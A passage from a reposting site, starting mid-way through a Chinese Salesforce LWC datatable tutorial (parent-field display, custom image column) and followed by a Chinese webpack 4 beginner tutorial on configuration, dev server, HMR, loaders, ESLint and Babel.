const data = [{
                    id: 'a',
                    opportunityName: 'Cloudhub',
                    confidence: 0.2,
                    amount: 25000,
                    contact: 'jrogers@cloudhub.com',
                    phone: '2352235235',
                    trendIcon: 'utility:down'
                },
                {
                    id: 'b',
                    opportunityName: 'Quip',
                    confidence: 0.78,
                    amount: 740000,
                    contact: 'quipy@quip.com',
                    phone: '2352235235',
                    trendIcon: 'utility:up'
                }];

export default class DatatableExample1 extends LightningElement {
    data = data;
    columns = columns;

    getSelectedName(event) {
        //兩種方式獲取選中的行,第一種是使用 event.detail.selectedRows,另外一種是使用querySelector找到 lightning-datatable,然後使用datatable封裝的方法
        //const selectedRows = event.detail.selectedRows;
        const dataTable = this.template.querySelector('lightning-datatable');
        const selectedRows = dataTable.getSelectedRows();
        // Display that fieldName of the selected rows
        for (let i = 0; i < selectedRows.length; i++){
            console.log("You selected: " + selectedRows[i].opportunityName);
        }
    }
}

 簡單展示效果如下:

 二. datatable中展示父表中的字段值

上個demo中簡單介紹了datatable的使用,數據全是寫死的demo,接下來通過一個包含後台的邏輯進行datatable展示數據。

DataTableExampleController:用於獲取 Case表中的相關字段以及其父表的字段

public with sharing class DataTableExampleController {
    @AuraEnabled(cacheable=true)
    public static List<Case> getCaseList(){
        List<Case> caseList = [SELECT Id,CaseNumber,Account.Name,
                                    Priority,Status
                                FROM Case
                                LIMIT 100];
        return caseList;
    }
}

datatableExample2.js:用於展示相關的字段,通過wire adapter獲取後台數據放在data中

import { LightningElement, track, wire } from 'lwc';
import getCaseList from '@salesforce/apex/DataTableExampleController.getCaseList';
const COLUMNS = [
    {label: 'Case Number', fieldName: 'CaseNumber', type: 'text'},
    {label: 'Account Name', fieldName: 'Account.Name', type: 'text'},
    {label: 'Priority', fieldName: 'Priority', type: 'text'},
    {label: 'Status', fieldName: 'Status', type: 'text'}
];
export default class DataTableExample2 extends LightningElement {
    columns = COLUMNS;
    @track datas;

    @wire(getCaseList)
    wiredCaseList({ error, data }) {
        if(data) {
            this.datas = data;
        } else if(error) {
            //TODO
            console.log(JSON.stringify(error));
        }
    }
}

dataTableExample.html:展示datatable

<template>
    <lightning-datatable
            data={datas}
            columns={columns}
            key-field="id"
            >
    </lightning-datatable>
</template>

結果展示:通過下圖我們可以看到,其他的字段可以正常展示,但是父表的數據獲取確實失敗的。

 來剖析一下原因,datatable針對columns的fieldName只支持一級結構的獲取,針對獲取父的方式沒法通過 各種點的方式獲取到,那麼如何獲取呢,查看下面的方式,我們對js的代碼進行一下改動。按照下面的步驟兩步走的修改。

 結果展示:我們可以看到 Account Name列的值也順利的展示出來了,按照這種操作做一個拓展,其實我們也可以去做一些字段間的邏輯操作拼出一個符合我們邏輯的列,不僅僅局限於獲取父的對象值這種簡單操作。

 三. 實現datatable展示 formula類型是圖片的功能

自己看文檔的小夥伴可能發現datatable的columns的type沒有類似 image類型,但是在object field創建時我們很容易創建一些IMAGE的字段,那樣的話使用標準的datatable便無法展示,那要如何操作呢?還好lwc提供了一個自定義類型的操作。首先我們在Case表裡面新增一個formula 字段,展示圖片。

 接下來一步接着一步搞定。

dataTableWithImage.js:這裏需要繼承 LightningDatatable,並且引入 imageRow.html,其用於做template

import LightningDatatable from 'lightning/datatable';
import imageRow from './imageRow.html';
export default class DataTableWithImage extends LightningDatatable {
    static customTypes = {
        image: {
            template: imageRow
        }
    };
}

imageRow.html:默認要求 imageRow需要和 dataTableWithImage在同一個目錄下,如果不在一個目錄,需要改上面的文件目錄信息。

<template>
    <c-data-table-image-template
        url={value}
        >
    </c-data-table-image-template>
</template>

dataTableImageTemplate.html:用來通過 img標籤展示圖片

<template>
    <img src={url} class="image"/>
</template>

dataTableImageTemplate.css:用來設置圖片大小的初始值,這種是一種偷懶的方式,正常應該通過 attribute注入進來指定大小的寬和高。

.image {
  height: 30px;
  width: 30px;
}

dataTableImageTemplate.js

import { LightningElement,api } from 'lwc';

export default class DataTableImageTemplate extends LightningElement {
    @api url;
}

OK,通過上面的這些步驟我們實現和繼承了自定義的datatable組件。接下來是調用操作。我們在class裏面搜索一下Priority_Image__c這個字段,apexClass這裏不再寫。

dataTableExample3.js:這裡有幾個關鍵點。

  • 設置 type為 image類型,image類型是我們上文自定義創建的
  • 對 formula類型進行解析,找到他的src部分。比如針對<img src=”/resource/priority/priority/medium.png” alt=”Priority Flag” border=”0″/>這個字符串,我們需要的是/resource/priority/priority/medium.png這個字符串
import { LightningElement, track, wire } from 'lwc';
import getCaseList from '@salesforce/apex/DataTableExampleController.getCaseList';

const COLUMNS = [
    {label: 'Case Number', fieldName: 'CaseNumber', type: 'text'},
    {label: 'Account Name', fieldName: 'AccountName', type: 'text'},
    {label: 'Priority', fieldName: 'Priority', type: 'text'},
    { label: 'Priority Image',fieldName:'Priority_Image__c',type: 'image' },
    {label: 'Status', fieldName: 'Status', type: 'text'}
];
export default class DataTableExample3 extends LightningElement {
    columns = COLUMNS;
    @track datas;

    @wire(getCaseList)
    wiredCaseList({ error, data }) {
        if(data) {
            //this.datas = data;
            let resultList = [];
            let objectTemp;
            data.forEach(item => {
                objectTemp = Object.assign({},item);
                if(item.Account) {
                    objectTemp.AccountName = item.Account.Name;
                }

                const srcIndex = objectTemp.Priority_Image__c.indexOf('src=');
                if(srcIndex !== -1) {
                    const imgSrcSubstring = objectTemp.Priority_Image__c.substring(srcIndex + 5);
                    objectTemp.Priority_Image__c = imgSrcSubstring.substring(0,imgSrcSubstring.indexOf('"'))
                }
                console.log(JSON.stringify(objectTemp));
                resultList.push(objectTemp);
            });
            this.datas = resultList;
        } else if(error) {
            //TODO
            console.log(JSON.stringify(error));
        }
    }
}

dataTableExample3.html

<template>
    <c-data-table-with-image
                    key-field="id"
                    data={datas}
                    columns={columns}
                    >
                </c-data-table-with-image>
</template>

結果展示:針對不同的Priority展示其對應的formula的圖片。

總結:篇中講了datatable的簡單的應用以及相應的擴展,datatable很強悍,這裏不逐點講述,感興趣的可以自行查看 inline edit,action等操作。篇中有錯誤地方歡迎指出,有不懂的歡迎留言。

後記:工作原因這篇博客準備了好久才成型,不知不覺學了半年的lwc的開發,也整理總結了一些博客供自己和他人學習。前半年的主旋律大部分時間都在學習lwc,後半年的時間大部分會放在考證和學習其他技術,不出意外應該是今年的最後一篇lwc的博文。有其他lwc的問題歡迎留言探討,希望各位salesforce開發者可以養成獨立思考的能力,先思考,在查,最後再問。加油!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

webpack的入門實踐,看這篇就夠了

webpack的入門實踐

我會將所有的讀者概括為初學者,即使你可能有基礎,學習本節之前我希望你具有一定的JavaScript和node基礎

  • 文中的 ... ...代表省略掉部分代碼,和上面的代碼相同
  • 文中的文件夾如果沒有說創建,並且項目默認沒有的是需要你手動增加的
  • 不會特別細緻,但是足夠入門

資源

  • 視頻教程
  • 我的個人博客

什麼是webpack

Web瀏覽器使用HTML,CSS和JavaScript。隨着項目的發展,跟蹤和配置所有這些文件變得非常複雜,解決這個問題就需要一個新的工具

類似webpack的工具還有GruntGulpwebpack是模塊管理工具,把你的項目按照你的想法進行劃分模塊打包,舉個最簡單的例子,這個頁面需要加載一個 a.jsb.js,但是你只想加載一個js文件,就可以使用webpack將兩個文件進行合併,當然webpack的功能不止於此,代碼轉化、項目優化、代碼分割、代碼預編譯、自動構建、自動刷新…

再比如你想你的代碼兼容其他老的瀏覽器,你的css代碼兼容不同的瀏覽器內核,或者你想自動精簡掉你寫了但是沒有用到的代碼,這些都可以使用webpack實現

如果你是vue或者react等框架的使用者,肯定使用過 vue-clireact-create-app 這類腳手架工具,那麼實現這個效果,就要學習webpack

快速入門

注意本文都是webpack4的內容

安裝

創建一個 webpackdemo文件夾,使用命令npm init -y快速初始化一個項目

安裝 webpack可以使用全局安裝

npm install webpack -g

但是我更推薦你在每個項目裏面單獨引入,這樣可以控製版本,如果你使用 webpack 4+ 版本,你還需要安裝 CLI。

npm install -D webpack@<version>
npm install -D webpack-cli

本文默認使用項目引入的方式,我們在根目錄下新建 src/index.js,webpack在不進行任何配置的情況下,會默認尋找這個文件

然後命令行執行node_modules\.bin\webpack,如果你是全局安裝的可以直接使用webpack命令

注意此時命令行爆黃色警告,這是沒有指定當前模式的原因,並且可以發現,目錄下多了一個 dist/main.js文件,這便是默認的輸出文件

為了體驗項目的打包,我們新建一個src/clg.js文件

export default function clg(msg) {
    console.log(msg);
}

我們在index.js裏面導入並使用

import clg from './clg';
clg('webpack init');

然後根目錄我們新建一個 index.html文件,引入打包后的文件

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="./dist/main.js"></script>
</head>
<body>
</body>
</html>

然後修改一下打包命令,指定當前為開發模式,再次運行.\node_modules\.bin\webpack --mode development

這次打包沒有爆警告,並且我們打開index.html控制台查看結果

webpack.config.js配置文件

在前面,我們都是使用webpack-cli為我們提供的默認配置,如果我們想使用webpack更強大的功能還是需要自定義配置文件的,在根目錄新建webpack.config.js,執行webpack命令的時候會自動找到它

const path = require('path');

module.exports = {
    // 環境
    mode: 'development',
    // 目標文件
    entry: [path.resolve(__dirname, './src/index.js')],
    // 自定義輸出文件
    output: {
        path: path.resolve(__dirname, './dist'), //路徑
        filename: 'main.js' //文件名稱
    },
    // 插件
    plugins: [

    ],
    // 給導入的文件制定規則
    module: {

    }
}

為了方便調試,我們在 package.json中添加命令,此時執行命令npm run devnpm run build就非常方便了

注意 scripts命令裏面可省略 .\node_modules\.bin\使用 npx webpack也是這個效果

 "scripts": {
   "test": "echo \"Error: no test specified\" && exit 1",
   "dev":"webpack --mode development",
   "build":"webpack --mode production"
 },

多個目標和輸出文件

在上面是一個目標文件index.js和一個輸出文件main.js,如果我們想要對多個目標文件進行打包,且輸出多個文件該怎麼辦呢?我們在根目錄新建一個 other.js

首先我們將entry修改為多個目標文件,並設置一個名,然後修改輸出文件的名稱為變量[name]

const path = require('path');
module.exports = {
    // 環境
   mode: 'development',
    // 目標文件
   entry: {
        index: path.resolve(__dirname, './src/index.js'),
        other: path.resolve(__dirname, './src/other.js')
    },
    // [path.resolve(__dirname, './src/index.js'), path.resolve(__dirname, './src/other.js')],
    // 自定義輸出文件
    output: {
        path: path.resolve(__dirname, './dist'), //路徑
        filename: '[name].bundle.js' //文件名稱
    },
}

此時我們執行 npm run build可發現dist目錄的多個js文件

使用插件來測試程序

在上面,我們自己創建了一個 index.html文件來測試我們打包的文件是否正常,其實webpack為我們提供了更為自動的方式,在這裏我們將使用第一個webpcak插件html-webpack-plugin,首先需要安裝它

npm i html-webpack-plugin -D

然後我們在 webpack.config.js中配置使用這個插件

const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
module.exports = {
    // 目標文件
    entry: {
        index: path.resolve(__dirname, './src/index.js'),
        other: path.resolve(__dirname, './src/other.js'),
    },
    // 自定義輸出文件
    output: {
        path: path.resolve(__dirname, './dist'), //路徑
        filename: 'main.js' //文件名稱
    },
    // 插件
    plugins: [
        new HtmlWebpackPlugin({
            title: "Webpack init",
        }),
    ],
}

此時,我們刪除 index.html文件,然後再次執行npm run build可以發現,webpack自動為我們創建了一個indedx.html文件,並引入了打包后的js文件

多個頁面

在上面,我們都是使用的一個 index.html單頁面,實際開發中漸進式的單頁面程序也比較多,但是還是會有多頁面的場景

簡單的修改一下webpack.config.js,多次實例化插件就可以了,filename為輸出文件名,chunks為這個頁面需要使用的js文件,當然如果你不是使用的自動生成頁面,可以使用template屬性指定你的頁面位置

module.exports = {
    ... ... 
    // 插件
    plugins: [
        new HtmlWebpackPlugin({
            filename:"index.html",
            title: "Webpack init",
            chunks:['index']
        }),
        new HtmlWebpackPlugin({
            filename:"other.html",
            title: "Webpack init",
            chunks:['other']
        }),
        new webpack.NamedModulesPlugin(),
        new webpack.HotModuleReplacementPlugin(),
        new CleanWebpackPlugin(),
    ],
    ... ...
}

此時我們使用npm run dev,此時可以發現dist目錄輸出了兩個頁面並引入不同的js文件

source map

打包后的js文件都混淆到了一個或者多個文件中,丟失了原本的文件格式,如果在運行過程中出現bug,很難定位原本的錯誤位置 source map 就可以解決這個問題

為了更容易地追蹤錯誤和警告,JavaScript 提供了 source map 功能,將編譯后的代碼映射回原始源代碼。如果一個錯誤來自於 b.js,source map 就會明確的告訴你。

開啟 source map 非常簡單,只需要在配置文件webpack.config.js中增加

const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const webpack = require('webpack');
module.exports = {
	... ...
    devtool: "cheap-module-eval-source-map",
 	... ...
}

為了驗證是否生效,我們在other.js中增加

console.log('other');
console.error("error")

然後使用npm run dev,接着在控制台查看錯誤並點擊,便能跳轉到出錯的位置

devtool有多個模式,不同的性能和品質,開發環境中我們希望性能更好,生產環境我們希望質量更好詳細配置

開發環境可以使用cheap-module-eval-source-map、eval 、eval-source-map

生產環境可以使用inline-source-map、inline-cheap-module-source-map、cheap-source-map

觀察模式和webpack-dev-server

在上面的內容中,每次修改內容后都需要手動執行構建命令,webpack為我們提供了更為自動的方法

觀察模式

我們只需簡單的修改一下命令npm run dev --watch,同樣的我們為了方便,可以直接將命令寫入 package.json

 "scripts": {
   "test": "echo \"Error: no test specified\" && exit 1",
   "dev": "webpack --mode development",
   "build": "webpack --mode production",
   "watch":"webpack --mode production --watch"
 },

此時,我們執行npm run watch命令后,只要修改文件中的內容,webpack即可自動構建

webpack-dev-server

但是在實際開發中,使用webpack-dev-server(簡稱wds)更為方便,它為我們提供了一個簡單的服務器,並且瀏覽器能夠實時加載,也就是說,當你修改文件保存后,瀏覽器可自動加載最新的內容,並且這一切都是發生在內存中,構建速度更快

安裝

npm i webpack-dev-server -D

同樣的我們在 package.json中添加一個命令

"scripts": {
  "test": "echo \"Error: no test specified\" && exit 1",
  "dev": "webpack --mode development",
  "build": "webpack --mode production",
  "watch": "webpack --mode production --watch",
  "server": "webpack-dev-server --mode development"
},

此時,我們只需執行npm run serverwebpack便可自動創建一個服務器,並將項目運行在其中,當我們修改文件中的任意內容的時候,頁面便會自動刷新

如果使用過 vscode的插件live server的同學,不難發現,這就是類似的功能

我們還可以在 webpack.config.js中進一步的對 wds進行配置

module.exports = {
	... ...
    devServer: {
     /**
      * 日誌模式  friendly-errors-webpack-plugin 插件可以優化輸出
      * errors-only  只在發生錯誤時觸發
      * minimal 只在發生錯誤或者有新的編譯時輸出
      * none 沒有輸出
      * normal 標準輸出
      * verbose 全部輸出
      */
     stats: "errors-only",
     //默認地址 localhost
     host: process.env.HOST,
     //默認端口 8080
     port: process.env.PORT,
     //是否直接打開瀏覽器
     open: true,
 },
   ... ...
}

此時我們再次運行 npm run server,webpack便能按照我們的配置來構建了

HMR

模塊熱替換(Hot Module Replacement 或 HMR)是 webpack 提供的最有用的功能之一。它允許在運行時更新各種模塊,而無需進行完全刷新。

在上面的內容中,我們修改文件的部分內容,webpack都需要將項目重新構建並通知瀏覽器重新渲染,這個過程十分浪費資源,使用 HMR就可以實現,修改哪裡,重新加載哪裡的這個效果

NamedModulesPlugin插件是在熱加載時直接返回更新文件名

使用 HMR我們只需要簡單的配置即可

webpack.config.js

... ... 
const webpack = require('webpack');
module.exports = {
	... ...
    // 插件
    plugins: [
      	... ...
        new webpack.NamedModulesPlugin(),
        new webpack.HotModuleReplacementPlugin()
    ],
    devServer: {
		... ...
        //是否開啟熱更替
        hot: true
    },
}

為了驗證是否是局部更替,我么修改一下文件內容

index.js

import clg from './clg';
console.log('webpack init');

// module.hot Webpack通過全局變量公開HMR接口
if (module.hot) {
    module.hot.accept('./clg.js', function () {
        clg('檢測到clg模塊修改');
    })
}

此時我們使用 npm run server 將項目運行起來,簡單的修改 index.js文件中內容,發現控制台只打印了

我們再次修改clg.js中內容,打個空格再保存即可,此時驗證了我們想要的效果

生產環境和開發環境分離

開發環境(development)生產環境(production)的構建目標差異很大,官方建議為每個環境編寫彼此獨立的 webpack 配置

我們將新建兩個配置文件webpack.dev.js(開發環境)webpack.prod.js(生產環境)但是它們具有很多相同的配置,所以我們再新建一個webpack.common.js(通用配置)文件

我們使用webpack-merge插件來將不同的環境配置文件和通用配置文件進行合併,並且使用clean-webpack-plugin插件來每次重置我們的構建文件夾

npm i webpack-merge -D
npm i clean-webpack-plugin -D

webpack.common.js

const path = require('path');
const webpack = require('webpack');
const {
    CleanWebpackPlugin
} = require("clean-webpack-plugin");
const HtmlWebpackPlugin = require('html-webpack-plugin');
module.exports = {
    entry: [path.resolve(__dirname, './src/index.js')],
    plugins: [
        new CleanWebpackPlugin(),
        new webpack.NamedModulesPlugin(),
        new HtmlWebpackPlugin({
            title: 'Webpack init'
        })
    ],
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist')
    },
    module: {
        rules: [
            
        ]
    }
};

webpack.dev.js

我們再開發環境配置文件中配置 server的相關信息,並且打開source-map

const merge = require('webpack-merge');
const common = require('./webpack.common.js');

module.exports = merge(common, {
    mode:"development",
    devtool: 'eval',
    devServer: {
        stats: "errors-only",
        //默認地址 localhost
        host: process.env.HOST,
        //默認端口 8080
        port: process.env.PORT,
        //是否直接打開瀏覽器
        open: true,
        //是否開啟熱更替
        hot: true,
    },
    module: {
        rules: [
            //打包css文件的規則
            {
                test: /\.css$/,
                use: ['style-loader', 'css-loader']
            }
        ]
    }
});

webpack.prod.js

我們在生產環境配置文件中省略掉其他配置文件

const merge = require('webpack-merge');
const common = require('./webpack.common.js');

module.exports = merge(common, {
  mode: "production",
    
});

然後我們在 package.json增加一些命令

"envdev":"webpack-dev-server --config webpack.dev.js",
"envbuild":"webpack --config webpack.prod.js"

此時,我們的項目構建就更加清晰了

管理資源文件

webpack不僅僅是打包 js文件這麼簡單,此處我們簡單的介紹幾個常用的資源打包方式,更詳細的內容可以參考官方文檔

管理css

使用過腳手架的同學應該都記得,項目裏面的css文件可以通過js直接引入的方式使用

import 'xxx.css';

來簡單實踐一下,首先安裝插件

npm i  style-loader css-loader -D

為了展示我們的打包效果,我們新建一個 js/divdoc.js文件用來在頁面中渲染出一個字符串(此時我們已將clg.js也轉移到 ./js 文件夾)

export default function divdoc() {
    //創建一個dom
    let element = document.createElement('div');
    element.innerHTML = "webpack init";
    element.classList.add('init');
    //將dom渲染到頁面上
    document.body.appendChild(element);
}

index.js中導入並使用

import clg from './js/clg';
import divdoc from './js/divdoc';
console.log('webpack init now');

divdoc();

// module.hot Webpack通過全局變量公開HMR接口
if (module.hot) {
    module.hot.accept('./js/clg.js', function () {
        clg('檢測到clg模塊修改');
    })
}

此時運行 npm run server查看效果

接下來我們新建 src/css/app.css文件

我們前面渲染的dom節點是包含一個 class名為 init

.init{
    color: red;
}

編寫規則webpack.dev.js

module.exports = {
	... ...
    // 給導入的文件制定規則
    module: {
        rules: [
            //打包css文件的規則
            {
                test: /\.css$/,
                use: ['style-loader', 'css-loader']
            },
        ]
    }
}

index.js中導入,並查看效果

import  './css/app.css';

順便可以打包一下less,首先安裝插件npm i -D less-loader,然後寫一下規則

module: {
    rules: [
        //打包css文件的規則
        {
            test: /\.css$/,
            use: ['style-loader', 'css-loader']
        },
        {
            test: /\.less$/,
            use: ['style-loader', 'css-loader', 'less-loader']
        },
    ]
}

我們新建一個 src/css/app.less文件

.init{
    color: red;
}

我們在 index.js中註釋掉原本導入的 app.css,然後導入less文件

import './css/app.less';

重新構建項目,查看項目,效果依然生效,同理sass、stylus也是這個用法,這裏不再贅述

分離css

在前面,我們打包css,最終都是將css代碼添加到頁面的 style標籤中,如果我們想將所有的css都打包到專門的文件裏面可以使用mini-css-extract-plugin插件

npm i mini-css-extract-plugin -D

然後修改一下配置webpack.prod.js

... ... 
const MiniCssExtractPlugin = require("mini-css-extract-plugin");

module.exports = {
  	... ...
    // 插件
    plugins: [
        new MiniCssExtractPlugin({
            filename: "styles/[name].css",
        })
    ],
    // 給導入的文件制定規則
    module: {
        rules: [
            //打包css文件的規則
            // {
            //     test: /\.css$/,
            //     use: ['style-loader', 'css-loader']
            // },
            {
                test: /\.css$/i,
                use: [
                    MiniCssExtractPlugin.loader, 'css-loader'
                ],
            }
        ]
    }
    ... ...
}

此時我們執行npm run build可以發現dist目錄下面創建了一個index.css文件,因為我們是在 index.js中導入css文件的,[name]的值是js的文件名,而不是css的名

當然如果你想指定輸入和導出的css的名字也是可以的,使用這種方式,你就不需要在js中再次引入css文件了

entry: {
    index: path.resolve(__dirname, './src/index.js'),
    other: path.resolve(__dirname, './src/other.js'),
    app: path.resolve(__dirname, './src/css/app.css')
},

webpack在處理樣式方面還有很多很強大的插件,比如purgecss可以精簡掉頁面中沒有使用的css樣式、Autoprefixer可以自動給你添加不同瀏覽器兼容的css插件

管理圖片和字體

在網頁中,圖片一般都是加載的網路路徑,但是在開發中我們都是使用的本地圖片,那麼為了保證上線后和本地的資源位置保持一致,我們可以使用webpack來進行一下打包,最後統一上傳oss存儲

首先需要安裝url-loader

npm i url-loader -D

然後我們在 webpack.common.js中進行配置

const path = require('path');
const webpack = require('webpack');

const {
    CleanWebpackPlugin
} = require("clean-webpack-plugin");
const HtmlWebpackPlugin = require('html-webpack-plugin');
module.exports = {
    entry: [path.join(__dirname, './src/index.js')],
    plugins: [
        new CleanWebpackPlugin(),
        new webpack.NamedModulesPlugin(),
        new HtmlWebpackPlugin({
            title: 'Webpack init'
        })
    ],
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
        //靜態文件打包的網絡路徑
        publicPath:'https://www.lookroot.cn/assets/'
    },
    module: {
        rules: [
            {
                test: /\.(png|svg|jpg|gif)$/,
                use: {
                    loader: 'url-loader',
                    options: {
                        //超過這個大小,圖片就打包為圖片,不超過就打包為base64格式的代碼
                        limit: 1000,
                        //打包文件名
                        name: "img/[hash].[ext]",
                    },
                }
            },
        ]
    }
};

為了驗證,首先我們放一張圖片logo.jpgsrc/asserts/img目錄下,我們簡單的修改一下app.css

.init {
  color: red;

}
body {
  background-image: url("../assets/img/logo.jpg");
  background-repeat: no-repeat;
}

同樣的我們也可以在js代碼里使用圖片,修改一下divdoc.js

import logo from "../assets/img/logo.jpg";
export default function divdoc() {
	... ...
    // 插入一張圖片
    let img = document.createElement('img');
    img.src = logo;
    element.appendChild(img);
   ... ...
}

然後使用npm run envdev運行起來,效果是正常的

然後我們使用npm run envbuild執行編譯,然後我們打開dist/img/main.css

body {
  background-image: url(https://www.lookroot.cn/assets/img/494654d849ba012e2aab0505d7c82dc0.jpg);
  background-repeat: no-repeat;
}

我們可以發現,webpack就給我們自動加上了網絡路徑,對於圖片的處理,還有可以優化圖片的[image-webpack-loader(https://github.com/tcoopman/image-webpack-loader)、可以自動生成雪碧圖的postcss-sprites

除了上面我說的這些資源外,webpack還支持非常多的資源格式,只要理解這個思想,使用也不難

代碼檢查和代碼轉換

Eslint代碼檢查

eslint是實際開發中非常常用的代碼檢查工具,我們在webpack中使用它來進行代碼檢查

首先安裝eslint、loader、錯誤格式化插件

npm i eslint  eslint-loader eslint-friendly-formatter -D

然後我們在根目錄新建一個.eslintrc.json,當然你也可以使用命令npx eslint --init來初始化配置文件

rules代表規則,這裏我設置一個禁止使用 alert代碼來測試是否可以完成代碼檢查,更多規則請看文檔

{
    "env": {
        "browser": true,
        "es6": true,
        "node": true
    },
    "extends": "eslint:recommended",
    "parserOptions": {
        "ecmaVersion": 11,
        "sourceType": "module"
    },
    "rules": {
        "no-alert": 2
    }
}

然後在webpack.dev.js中增加配置

 module: {
     rules: [
        ... ... 
         {
             test: /\.js$/,
             loader: 'eslint-loader',
             enforce: 'pre',
             include: [path.resolve(__dirname, 'src')],
             options: {
                 formatter: require('eslint-friendly-formatter')
             }
         }
     ]
 }

然後我們在 index.js文件中增加一句alert("webpack init"),然後使用命令npm run envdev發現報錯,eslint成功捕捉到了錯誤

同樣的你還可以使用 StyleLint工具來檢查你的css代碼

babel代碼轉化

在實際開發中如果使用了 es6+的代碼,有些瀏覽器是不支持的,為了兼容,所有需要將代碼進一步轉化,可以使用babel進行轉化

babel的使用稍微比較繁瑣,本文只介紹在webpack的使用方法,更多細緻的東西請自行查閱

安裝本體和loader babel-loader @babel/core @babel/preset-env是轉換插件的預設組合,@babel/plugin-transform-runtime用來解決一些瀏覽器不支持的方法和對象問題

npm i @babel/runtime -S
npm i  babel-loader  @babel/core @babel/preset-env @babel/plugin-transform-runtime -D

然後我們在根目錄新建一個配置文件.babelrc,使用@babel/preset-env提供的插件集合能完成大部分的工作了,targets表示我們的代碼要運行到哪些平台上面,更為詳細的請點擊

{
    "presets": [
        [
            "@babel/preset-env",
            {
                "useBuiltIns": "usage",
                "corejs": 3,
                "targets": {
                  	"browsers": [ "ie >= 8", "chrome >= 62" ]
                }
            }
        ]
    ]
}

然後修改一下webpack.dev.js

module: {
    rules: [
       ... ... 
        {
            test: /\.js$/,
            use: [{
                loader: 'babel-loader',
            }]
        }
    ]
}

為了驗證代碼是否轉換成功,我們在index.js中添加代碼

const say=(msg)=>{
    console.log(msg);
}

然後使用命令npm run envdev,並打開source map 查看源文件,可以發現箭頭函數已經被轉換了

本節的內容就是這些,下一次將會有個簡單的實戰,對於webpack還有很多要學習的地方,比如打包優化、插件編寫等等學完基礎以後,這些就需要你自己去探索

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!